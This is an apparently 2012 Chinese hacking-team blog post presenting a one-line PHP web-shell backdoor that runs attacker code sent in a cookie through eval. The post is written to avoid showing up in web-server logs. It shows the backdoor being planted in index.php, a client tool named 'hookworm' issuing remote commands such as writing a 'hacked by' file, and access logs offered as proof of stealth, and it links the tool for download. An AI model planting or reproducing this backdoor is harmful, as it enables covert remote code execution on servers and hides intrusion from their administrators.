

隐藏的PHP微型后门！

2012-01-10 09:51:49 By brk

对于隐藏PHP后门，本菜认为有两个条件： 1.代码少 2.HTTPD服务器日志无记录

下面的这个PHP DOOR，两个东西都达到了

下面看客服端代码

```
<?php if(isset($_COOKIE['c'])) {eval($_COOKIE['c']); echo $_COOKIE['d'] . $r . $_COOKIE['d'];}?>
```

此代码只是看起来浏览器提交的cookie和响应。Cookies最大的承载能力=4096字节。

我们把客服端代码插入任意的PHP脚本理，我的HTTPD系统是CENTOS6.2。 APACHE的WEB服务。

```
[root@localhost html]# cat index.php
<?php if(isset($_COOKIE['c'])) {eval($_COOKIE['c']); echo $_COOKIE['d'] . $r . $_COOKIE['d'];}?>
[root@localhost html]# _
```

运行我们的链接端 输入IP 脚本位置，就能进行链接

```
$ php worm.php
```

```
brk@Dis9Team: ~/desktop
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
Enter the IP of the host to connect to:
192.1.1.128
Host set to 192.1.1.128
Enter the relative path to the hookworm (ex: /index.php):
/index.php
Enter the delimiter you'd like to use (ex: '***'):
***
Type 'help' for a list of commands.

hookworm> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
hookworm> pwd
/var/www/html
hookworm> echo "hacked by helen" > hacked.txt
hookworm> ls
index.php
p
phpMyAdmin-3.4.9-all-languages.zip
hookworm> 
```

下面我看看日志 看看日志记录了神码？

```
[root@localhost httpd]# tail access_log | grep /index.php
192.1.1.1 - - [10/Jan/2012:17:40:29 +0800] "GET /index.php HTTP/1.1" 200 - "-" "
Mozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
192.1.1.1 - - [10/Jan/2012:17:48:15 +0800] "GET /index.php HTTP/1.1" 200 20 "-"
"_"
192.1.1.1 - - [10/Jan/2012:17:48:58 +0800] "GET /index.php HTTP/1.1" 200 91 "-"
"_"
192.1.1.1 - - [10/Jan/2012:17:48:59 +0800] "GET /index.php HTTP/1.1" 200 20 "-"
"_"
192.1.1.1 - - [10/Jan/2012:17:49:24 +0800] "GET /index.php HTTP/1.1" 200 6 "-" "
_"
192.1.1.1 - - [10/Jan/2012:17:49:29 +0800] "GET /index.php HTTP/1.1" 200 53 "-"
"_"
[root@localhost httpd]# 
```

你认为这些HTTPD日志是恶意操作嘛？？亲

下载这个PHPDOOR

[hookworm.php.tar](#)

版权声明：

本站遵循 [署名-非商业性使用-相同方式共享 2.5](#) 共享协议.

转载请注明转自[Dis9 Team](#)并标明URL.

本文链接：<http://www.dis9.com/?p=2390>